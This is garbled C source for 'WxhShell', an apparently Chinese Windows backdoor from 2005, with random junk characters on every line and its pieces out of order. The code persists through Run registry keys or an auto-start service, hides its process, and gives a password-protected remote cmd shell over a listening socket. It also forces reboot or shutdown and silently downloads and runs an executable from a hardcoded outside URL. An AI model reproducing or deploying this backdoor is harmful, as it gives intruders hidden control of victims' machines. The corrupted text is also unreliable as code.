    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aPm2\Sq$  
    if(Boot(SHUTDOWN)) <F ?UdMT4y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jp-6]uW  
    else { dyVfDF  
    closesocket(wsh); ?b xa k  
    ExitThread(0); >;+q,U}  
    } jO}<W1qy  
    break; A 1B_EX.  
    } !xE@r,'oN  
  // 获取shell `c?8i  
  case 's': { <uvA([r=Vq  
    CmdShell(wsh); mOntc6&]  
    closesocket(wsh); Lrq e:\  
    ExitThread(0); RKb (  
    break; |vgYi  
  } q+W* ?a)  
  // 退出 U(5Yg  
  case 'x': { 4q*mEV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k;Ask#rs  
    CloseIt(wsh); zj 2l&)N  
    break; .4XX )f5  
    } !#dp [,nk  
  // 离开 `u$lSGl  
  case 'q': { Yz ? 8n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); zR5KC!xc  
    closesocket(wsh); 3 uJ?;  
    WSACleanup(); 6"/4@?  
    exit(1); 4ZtsLMwLD  
    break; I 8VCR8q  
        } )wCV]TdF  
  } g[(Eh?]Sc  
  } *Qy,?2  
aRcVoOq  
  // 提示信息 0gH;y+\=*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e@{Rlz   
} t4<+]]   
  } ,tak{["  
y\ax?(z  
  return; nx@,oC4  
} LN`Y`G|op  
USzO):o  
// shell模块句柄 oW3|b2D  
int CmdShell(SOCKET sock) m-lTXA(  
{ <v3pI!)x  
STARTUPINFO si; =H8Y  
ZeroMemory(&si,sizeof(si)); R<;;Ph  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; o<Qt<*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; J*t_r-z  
PROCESS_INFORMATION ProcessInfo; mZ~f?{  
char cmdline[]="cmd"; sE!$3|Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HM &"2c  
  return 0; 3|=L1Pw#  
} c+501's  
F"0=r  
// 自身启动模式 0}N"L ml  
int StartFromService(void) s f8F h  
{ 6Cgc-KNbk  
typedef struct $^`@lyr  
{ P.- `[  
  DWORD ExitStatus; (: @7IWZf@  
  DWORD PebBaseAddress; ftD(ed  
  DWORD AffinityMask; "~L$oji  
  DWORD BasePriority; dz1kQzOU*  
  ULONG UniqueProcessId; ))4RgS$  
  ULONG InheritedFromUniqueProcessId;  1t }  
}   PROCESS_BASIC_INFORMATION; 5IfC8drAs  
z oZ10?ojC  
PROCNTQSIP NtQueryInformationProcess; UdcrX`^.  
gl 27&'?E*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; f0 kz:sZ9  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ EexNz  
#Ve@D@d[  
  HANDLE             hProcess; dP=,<H#]m  
  PROCESS_BASIC_INFORMATION pbi; V#X<Yt  
>DR$}{IV  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WJy\{YAG  
  if(NULL == hInst ) return 0; j[Gg[7q{y  
|z?c>.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); vQy+^deW  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); z/wwe\ a5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3L9@ELY4  
/6:qmh2  
  if (!NtQueryInformationProcess) return 0; :D~J(Y2  
e'r-o~1eN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !vq|*8  
  if(!hProcess) return 0; '<xV]k|v  
%H4>k#b@$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R p0^Gwa  
C(kL=WD   
  CloseHandle(hProcess); EkoT U#w5  
?X$*8;==6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [F 24xC+  
if(hProcess==NULL) return 0; g0#w 4rGF)  
i?f;C_w  
HMODULE hMod; !V-(K_\t  
char procName[255]; * 'Bu-1{  
unsigned long cbNeeded; i&j]FX6q  
q^h/64F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7G%:ckg  
sQn@:Gk  
  CloseHandle(hProcess); =3dd1n;8>  
wH+| & C  
if(strstr(procName,"services")) return 1; // 以服务启动 1vdG \$  
LIn2&r:U  
  return 0; // 注册表启动 A45!hhf  
} CW -[c  
B7PdavO#  
// 主模块 US\h,J\Ju  
int StartWxhshell(LPSTR lpCmdLine) K94bM5O 1  
{ ij?Ww'p9>  
  SOCKET wsl; v1p^=" IHI  
BOOL val=TRUE; "b) hj?  
  int port=0; &]pY~zVc  
  struct sockaddr_in door; *W2o$_Hs  
c$x >6&&L  
  if(wscfg.ws_autoins) Install(); `eeA,K_  
>4J(\'}m|  
port=atoi(lpCmdLine); xtut S  
a\}` f=T  
if(port<=0) port=wscfg.ws_port; *Tr9pq%m  
B +MnT{  
  WSADATA data; <u/(7H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; nH B  
odn3*{c{x  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'V\V=yc1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R{pF IyR  
  door.sin_family = AF_INET; PJ\k|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *,28@_EwY  
  door.sin_port = htons(port); 6Ad=#MM  
L%+mD$@u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8RQv  
closesocket(wsl); $laUkD#vz  
return 1; ;vy<!@Y;8  
} e'->Sg  
GP;N1/=  
  if(listen(wsl,2) == INVALID_SOCKET) { FH%M5RD  
closesocket(wsl); z\$(@:{A  
return 1; )y{:Uc\4!  
} dWdD^>8Ef  
  Wxhshell(wsl); r1 b"ta  
  WSACleanup(); 6 [?5hmc"w  
{C0Y8:"`  
return 0; [&kz4_  
d4p6.3  
} v-wZHkdd1  
}}Z2@}  
// 以NT服务方式启动 6"; ITU^v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "C?H:8W  
{ @9R78Zra  
DWORD   status = 0; )S;3WnQ)  
  DWORD   specificError = 0xfffffff; txE+A/>i9  
:(@P *"j  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zO@>)@~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jt0U`_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o#=C[d5BV  
  serviceStatus.dwWin32ExitCode     = 0; g>l+oH[Tv|  
  serviceStatus.dwServiceSpecificExitCode = 0; P#D|CP/Cu  
  serviceStatus.dwCheckPoint       = 0; a ,"   
  serviceStatus.dwWaitHint       = 0; G#M0 C>n  
}F"98s W  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P](8Qrl  
  if (hServiceStatusHandle==0) return; _3.rPS,s  
`jVRabZ0  
status = GetLastError(); ( 4# iLs  
  if (status!=NO_ERROR) R:j mn  
{ cL][sI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; pC #LQ  
    serviceStatus.dwCheckPoint       = 0; 7O:g;UI#  
    serviceStatus.dwWaitHint       = 0; N,l"9>CF  
    serviceStatus.dwWin32ExitCode     = status; VJ?>o  
    serviceStatus.dwServiceSpecificExitCode = specificError; XUnw*3tPJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T#wG]DH;  
    return; Cc;8+Z=a?G  
  } $HtGB]  
"YW Z&_n**  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; AyPtbrO  
  serviceStatus.dwCheckPoint       = 0; @DF7j|]tV  
  serviceStatus.dwWaitHint       = 0; vn!3Z!dm(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 64]8ykRD-  
} DEbMb6)U  
PQa0m)H@  
// 处理NT服务事件,比如:启动、停止 dFA1nn6{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sN2m?`?"G  
{ _,IjB/PR(  
switch(fdwControl) C!ch !E#  
{ }r@yBUW  
case SERVICE_CONTROL_STOP: r-yUWIr S  
  serviceStatus.dwWin32ExitCode = 0; tP"6H-)X&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /V63yzoY  
  serviceStatus.dwCheckPoint   = 0; QZIzddwp  
  serviceStatus.dwWaitHint     = 0; ;FW <%  
  { (\!?>T[En  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o OC&w0  
  } >oO]S]W  
  return; vB}c6A4'U  
case SERVICE_CONTROL_PAUSE: r7L.W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1z-A3a/-  
  break; v/=\(  
case SERVICE_CONTROL_CONTINUE: >^GV #z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |:.Uw\z5'  
  break; 5[4nFa}R:5  
case SERVICE_CONTROL_INTERROGATE: s]|tKQGl,  
  break; 79D~Mau#  
}; qDYNY`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1U/RMN3`  
} )RT?/NW  
([}08OW@  
// 标准应用程序主函数 x)GheM^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zBu@a:E%H  
{ 9t6c*|60#n  
nj1o!+9>$  
// 获取操作系统版本 YB<nz<;JR  
OsIsNt=GetOsVer(); m C`*#[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y;%LwDC  
8>Cf}TvErx  
  // 从命令行安装 \$*CXjh3G  
  if(strpbrk(lpCmdLine,"iI")) Install(); t$wbwP  
r-TrA$k  
  // 下载执行文件 _U-`/r o  
if(wscfg.ws_downexe) { 9} m?E<6&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GBT|1c'i  
  WinExec(wscfg.ws_filenam,SW_HIDE); ! |UX4  
} X^K^az&L  
{-8Nq`w  
if(!OsIsNt) { 'Grii,  
// 如果时win9x,隐藏进程并且设置为注册表启动 ge:a{L  
HideProc(); &)gc{(4$  
StartWxhshell(lpCmdLine); Z\xnPhV  
} *OznZIn  
else `lWGwFgg(  
  if(StartFromService()) I`H&b& .`  
  // 以服务方式启动 8V 4e\q  
  StartServiceCtrlDispatcher(DispatchTable); ) $b F*  
else BV:Ca34&  
  // 普通方式启动 y<6c*e1  
  StartWxhshell(lpCmdLine); cv-rEHT  
Nw$OJ9$L>  
return 0; Qrg- xu=  
} M\a{2f7'n  
)E*f30  
=CJ`0yDQ>  
}7(+#ISK6  
=========================================== PfRA\  
*1{A'`.=\  
l`ZL^uT  
.P aDR |!  
mL2J  
Wc2&3p9 c  
" @#OL{yMy  
,]7ouH$H}  
#include <stdio.h> HI 1T  
#include <string.h> 7Q9Hk(Z9  
#include <windows.h> }DS%?6}Sy  
#include <winsock2.h> GIH{tr1:<  
#include <winsvc.h> wT\BA'VQ  
#include <urlmon.h> 't&1y6Uu  
\t&! &R#  
#pragma comment (lib, "Ws2_32.lib") TB* t^ E  
#pragma comment (lib, "urlmon.lib") k6&~)7 -f  
 Ux*xz|^  
#define MAX_USER   100 // 最大客户端连接数 ]vvA]e  
#define BUF_SOCK   200 // sock buffer }P0bNY5?%  
#define KEY_BUFF   255 // 输入 buffer 7@\.()  
"Zh,;)hS  
#define REBOOT     0   // 重启 L"vrX  
#define SHUTDOWN   1   // 关机 wbAwmOiZ  
Gd_0FF.  
#define DEF_PORT   5000 // 监听端口 $f0u  
19qH WU^0V  
#define REG_LEN     16   // 注册表键长度 Pz{MYw  
#define SVC_LEN     80   // NT服务名长度 &qG/\  
KR?aL:RYb  
// 从dll定义API q,L>PN+W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); * 3fl}l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B qX"La,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I3Z?xsa@Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5z,q~CU  
or3OLBf*Q  
// wxhshell配置信息 hmo4H3g!N  
struct WSCFG { L%/>Le}VX  
  int ws_port;         // 监听端口 W+1nf:AI.  
  char ws_passstr[REG_LEN]; // 口令 tjwf;g}$  
  int ws_autoins;       // 安装标记, 1=yes 0=no py:L-5  
  char ws_regname[REG_LEN]; // 注册表键名 Ie/_gz^  
  char ws_svcname[REG_LEN]; // 服务名 N=Ct3  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %xCL&}bY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #$xtUCqX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 slPr^)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Gg9s.]W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P|@[D=y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }6\,kFc  
?V8Fgd  
}; Awxm[:r>^  
-Yse^(^"s  
// default Wxhshell configuration mc%. 8i  
struct WSCFG wscfg={DEF_PORT, nUpj+F#  
    "xuhuanlingzhe", s 0Uid&qE  
    1, e}yF2|0FD  
    "Wxhshell", (0q`eO2  
    "Wxhshell", z2YYxJ c&w  
            "WxhShell Service", !~9ASpqvPy  
    "Wrsky Windows CmdShell Service", O=7S=Rm4&  
    "Please Input Your Password: ", 3WF]%P%  
  1, /C Xg$%\  
  "http://www.wrsky.com/wxhshell.exe", -LRx}Mb9  
  "Wxhshell.exe" ,.p 36ZLP  
    }; Ve%ua]qA  
U<0Wa>3zj  
// 消息定义模块 8(Te^] v#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xaVX@ 3r.3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Kt*fQ `9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; / ^d9At614  
char *msg_ws_ext="\n\rExit."; ^6kl4:{idE  
char *msg_ws_end="\n\rQuit."; "zJxWXI  
char *msg_ws_boot="\n\rReboot..."; k1xx>=md|C  
char *msg_ws_poff="\n\rShutdown..."; 1a(\F 7  
char *msg_ws_down="\n\rSave to "; 2~f*o^%l  
lqOpADLS3  
char *msg_ws_err="\n\rErr!"; E/oLE^yL  
char *msg_ws_ok="\n\rOK!"; -c?x5/@3  
N.q~\sF^  
char ExeFile[MAX_PATH]; ?wG  
int nUser = 0; i /[{xRXiR  
HANDLE handles[MAX_USER]; z3i`O La  
int OsIsNt; Yv]vl6<  
VVch%  
SERVICE_STATUS       serviceStatus; BedL `[ ,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 51|s2+GG  
"rLm)$I  
// 函数声明 siCi+Y  
int Install(void); v\6.#>NQ  
int Uninstall(void); ##Pzc~xSn  
int DownloadFile(char *sURL, SOCKET wsh); #M!$CGi (  
int Boot(int flag); ^-PYP:*  
void HideProc(void); "r@#3T$  
int GetOsVer(void); 5}hQIO&^%  
int Wxhshell(SOCKET wsl); A+M4=  
void TalkWithClient(void *cs); 9_5>MmiB  
int CmdShell(SOCKET sock); 6jc5B#  
int StartFromService(void); b}Gm{;s!  
int StartWxhshell(LPSTR lpCmdLine); L]z8'n,  
1$E[`` n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /]z #V'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fz(;Eo3  
153*b^iDBh  
// 数据结构和表定义 18%$Z$K,  
SERVICE_TABLE_ENTRY DispatchTable[] = seK;TQ3/7  
{ VdM Ksx`r  
{wscfg.ws_svcname, NTServiceMain}, @4*eH\3  
{NULL, NULL} vzI>:Bf  
}; i=n;rT  
Ne|CWUhO  
// 自我安装 $!9U\Au>2  
int Install(void) A}9^,C$#  
{ 3lWGa7<4Z  
  char svExeFile[MAX_PATH]; >g!$H}\  
  HKEY key; n]#YL4j  
  strcpy(svExeFile,ExeFile); !O!:=wq  
paV1o>_Rd  
// 如果是win9x系统,修改注册表设为自启动 +1c r6a  
if(!OsIsNt) { GOdWc9Ta!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2(GY k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); i`l;k~rP  
  RegCloseKey(key); - i2^ eZl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .$cX:"_Mk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "" ^n^$  
  RegCloseKey(key); /7S g/d%c  
  return 0; U~yPQ8jD  
    } 5g-1pzP9  
  } ',[AKXJ  
} h& 4#5{=  
else { ZK t{3P  
cLL2 '  
// 如果是NT以上系统,安装为系统服务 h#UPU7;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); nt>3i! l  
if (schSCManager!=0) WNjG/U  
{ j07A>G-=  
  SC_HANDLE schService = CreateService C~>0K,C0^  
  ( q/*veL  
  schSCManager, 3:WHC3}W  
  wscfg.ws_svcname, C3=0 st$  
  wscfg.ws_svcdisp, <Sd ef^  
  SERVICE_ALL_ACCESS, (kX:@9Pn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3; z1Hp2X  
  SERVICE_AUTO_START, ? }ff O  
  SERVICE_ERROR_NORMAL, m=h/A xW  
  svExeFile, !sI^Lh,Y  
  NULL, jt6_1^  
  NULL, 9wfE^E1  
  NULL, ?Mo)&,__  
  NULL, = =pQ V[  
  NULL ZGh6- /  
  ); ;>ml@@Z  
  if (schService!=0) #o~C0`8!B=  
  { %?V~7tHm>  
  CloseServiceHandle(schService); _M8'~$Sg  
  CloseServiceHandle(schSCManager); au=@]n#<(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); s^PsA9EAn  
  strcat(svExeFile,wscfg.ws_svcname); 9Ut eD@*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <6.`(isph  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); X^&--@l}T!  
  RegCloseKey(key); R>Ox(MG  
  return 0; cY!Pv  
    } 6:QlHuy0nH  
  } t; #@t/`  
  CloseServiceHandle(schSCManager); - 8"K|ev  
} *7*cWO=  
} *=O3kUoL  
UnVa`@P^:G  
return 1; >u0XV"g$  
} 4yTgH0(T  
R9-mq; u+  
// 自我卸载 Zonn  
int Uninstall(void) PL31(!`@d  
{ N8x&<H  
  HKEY key; .P5' \  
MR4k#{:w  
if(!OsIsNt) { Y>c+j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <M5fk?n,|  
  RegDeleteValue(key,wscfg.ws_regname); 6,1oLvU  
  RegCloseKey(key); pfc"^Gi8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?)<zzL",  
  RegDeleteValue(key,wscfg.ws_regname); op-\|<i  
  RegCloseKey(key); _'y`hKeI[  
  return 0; ^"iL|3d  
  } A[fTpS~~%  
} hDg"?{  
} Fku<|1}&y  
else { 7NOF^/nU  
/i_FA]Go  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _ A{F2M  
if (schSCManager!=0) !%(kMN  
{ 9RS viIi$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t<}N>%ZO  
  if (schService!=0) k=p[Mlic/  
  { t5 ^hZZ  
  if(DeleteService(schService)!=0) { rR{KnM  
  CloseServiceHandle(schService); Mg}/gO% o  
  CloseServiceHandle(schSCManager); gE*7[*2?t  
  return 0; zFYzus`>  
  } 'O2/PU2_  
  CloseServiceHandle(schService); Y HS/|-  
  } yZoJD{'?Sw  
  CloseServiceHandle(schSCManager); ON>l%Ae4G  
} .n.N.e  
} iM1E**WCtv  
g^po$%I '  
return 1; :YX5%6  
} OM7AK B=S  
fV6ddh  
// 从指定url下载文件 7#Fcn  
int DownloadFile(char *sURL, SOCKET wsh) e=# D1  
{ lc [)Ev  
  HRESULT hr; LV$Ko_9eA  
char seps[]= "/"; c*R\fQd  
char *token; Ed-3-vJej6  
char *file; g#1 Y4  
char myURL[MAX_PATH]; I;?PDhDb  
char myFILE[MAX_PATH]; Ms3GvPsgv  
s6}SdmE  
strcpy(myURL,sURL); 211T}a  
  token=strtok(myURL,seps); {5ehm  
  while(token!=NULL) B=r+ m;(  
  { ;>5]KNj  
    file=token; b>#dMRK  
  token=strtok(NULL,seps); ;/ |tU o$  
  } 8090+ ( U  
IZQ*D)  
GetCurrentDirectory(MAX_PATH,myFILE); {7$jwk  
strcat(myFILE, "\\"); |,H 2ge  
strcat(myFILE, file); @a=jSB#B  
  send(wsh,myFILE,strlen(myFILE),0); G~_D'o<r  
send(wsh,"...",3,0); ,5T1QWn^f  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y}C|4"V  
  if(hr==S_OK) @S5HMJ2=  
return 0; *].qm g%  
else m' |wlI[lq  
return 1; >-3>Rjo>  
 -V"W  
} |v#D}E  
Zrgv*  
// 系统电源模块 +.rOqkxJ  
int Boot(int flag) k3Puq1H  
{ @li/Y6Wh  
  HANDLE hToken; {z;K0  
  TOKEN_PRIVILEGES tkp; 0#m=76[b  
NP4u/C<  
  if(OsIsNt) { f1U8 b*F<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v7hw%9(=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m9D Tz$S.  
    tkp.PrivilegeCount = 1; v<(+ l)Ln  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $|[N3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k#/cdK!K  
if(flag==REBOOT) { #2Vq"Zn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p)m5|GH24  
  return 0; >b:5&s\9  
} #IDLfQ5g  
else { ,S`F xJcE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AG;KXL[V  
  return 0; eZhF<<Y  
} B:cQsaty  
  } H,7!"!?@N  
  else { F$:UvW@e1  
if(flag==REBOOT) { JnqP`kYbTE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) LZ&I<ID`-  
  return 0; udc9KuR@  
} 1#fR=*ZM"  
else { X1[zkb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p"H /N_b4  
  return 0; <7L-25 =  
} *.D{d0A  
} ZTB6m`  
c@nh>G:y{&  
return 1; %uiCC>cC  
} ,R7j9#D  
XJwgh y?(  
// win9x进程隐藏模块 4L97UhLL  
void HideProc(void) F~OQ'59!Pf  
{ @`^Z5n.4  
?s)6 YF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -QBM^L  
  if ( hKernel != NULL ) ;K4uu<e \  
  { 6o(.zk`d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /t2H%#v{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <F-IF7>a  
    FreeLibrary(hKernel); k;SKQN  
  } %503 <j  
QvOl-Lfc  
return; 4N3O<)C)@  
} k$DRX) e  
<QaUq `,  
// 获取操作系统版本 mjk<FXW  
int GetOsVer(void) ![]6| G&  
{ ip*^eS^  
  OSVERSIONINFO winfo; 4/ q BD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +Oo-8f*  
  GetVersionEx(&winfo); ;'[?H0Jw'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y~M 6  
  return 1; +Ll29Buyi  
  else "WbKhE  
  return 0; bB*cd!7y  
} uG YH4  
OI6m>XH?  
// 客户端句柄模块 Y$./!lVY  
int Wxhshell(SOCKET wsl) ^\\9B-MvY  
{ =`C K`x  
  SOCKET wsh; #i.BOQxS  
  struct sockaddr_in client; K_.|FEV  
  DWORD myID; *;F<Q!i&v  
LFYSur8  
  while(nUser<MAX_USER) WZTv  
{ \~U:k4  
  int nSize=sizeof(client); e~R_bBQ0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a6It1%a+  
  if(wsh==INVALID_SOCKET) return 1; n 1^h;2gz  
zh(=kS `  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); '9&@?P;  
if(handles[nUser]==0) <'hoN/g  
  closesocket(wsh); P^ lzbWj^  
else L i 9$N"2  
  nUser++; Tn\{*A  
  } #%#N.tB 5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I\[z(CHg@  
?UeV5<TewS  
  return 0; i`iR7UmHeR  
} q,;wD1_wG  
|}X[Yg=FG  
// 关闭 socket ;.R) uCd{=  
void CloseIt(SOCKET wsh) ?T|0"|\"'  
{ EyBTja(4  
closesocket(wsh); 'bg'^PN>z  
nUser--; iorQ/(  
ExitThread(0); y T&#k1  
} z  61Fq  
e9QjRx  
// 客户端请求句柄 G"6XJYoI  
void TalkWithClient(void *cs) Vk[M .=J  
{ `v2Xp3o4f  
yi (IIW  
  SOCKET wsh=(SOCKET)cs; EEx:Xk%5hX  
  char pwd[SVC_LEN]; ztp2j%'  
  char cmd[KEY_BUFF]; cBZJ  
char chr[1]; 3+iryW(\  
int i,j; K(TejW#  
0]nveC$  
  while (nUser < MAX_USER) { ? 5OK4cR  
yGX5\PSo  
if(wscfg.ws_passstr) { Qz$nWsD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |BD2=7,z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y^8'P /A  
  //ZeroMemory(pwd,KEY_BUFF); p&HO~J <w  
      i=0; axN\ZXU  
  while(i<SVC_LEN) { _[wG-W/9R  
hVd_1|/X  
  // 设置超时 8;f5;7M n  
  fd_set FdRead; l%2 gM7WMY  
  struct timeval TimeOut; n5tsaU;  
  FD_ZERO(&FdRead); (W[]}k ;  
  FD_SET(wsh,&FdRead); Y&DoA0/y  
  TimeOut.tv_sec=8; # |OA>[  
  TimeOut.tv_usec=0; s<3M_mt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); q; C6ID`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); OF-g7s6VH  
sl P>;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HoeW6UV  
  pwd=chr[0]; 3Lv5>[MnN  
  if(chr[0]==0xd || chr[0]==0xa) { S{{wcH$n'i  
  pwd=0; :1]J{,VG  
  break; 1vJj?Uqc  
  } |PGTP#O<  
  i++; 95ix~cH3q  
    } TWfk r  
.%M80X{5~  
  // 如果是非法用户,关闭 socket <l eE.hhf.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *|;`Gp  
} "2 :zWh7|  
yOk{l$+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Jq8v69fyQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8{6`?qst@  
f*p=j(sF  
while(1) { ,;<M+V3+  
HJlxpX$_  
  ZeroMemory(cmd,KEY_BUFF); 6X4r2Vq  
BD]o+96qP  
      // 自动支持客户端 telnet标准   [b~+VeP+p4  
  j=0; 8cURYg6v  
  while(j<KEY_BUFF) { pP#|: %  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~|LAe-e"  
  cmd[j]=chr[0]; Eb5BJ-XeS^  
  if(chr[0]==0xa || chr[0]==0xd) { l=#b7rBP  
  cmd[j]=0; OO,EUOh-T:  
  break; \H1t<B,  
  } Tiimb[|  
  j++; #GUD^#Jh  
    } 4sC)hAx&f  
X[SIk%{D  
  // 下载文件 d-8{}Q  
  if(strstr(cmd,"http://")) { E #!.;AQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6X!jNh$oF  
  if(DownloadFile(cmd,wsh)) 152LdZevF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2|NQ5OA0  
  else Oa M~rze  
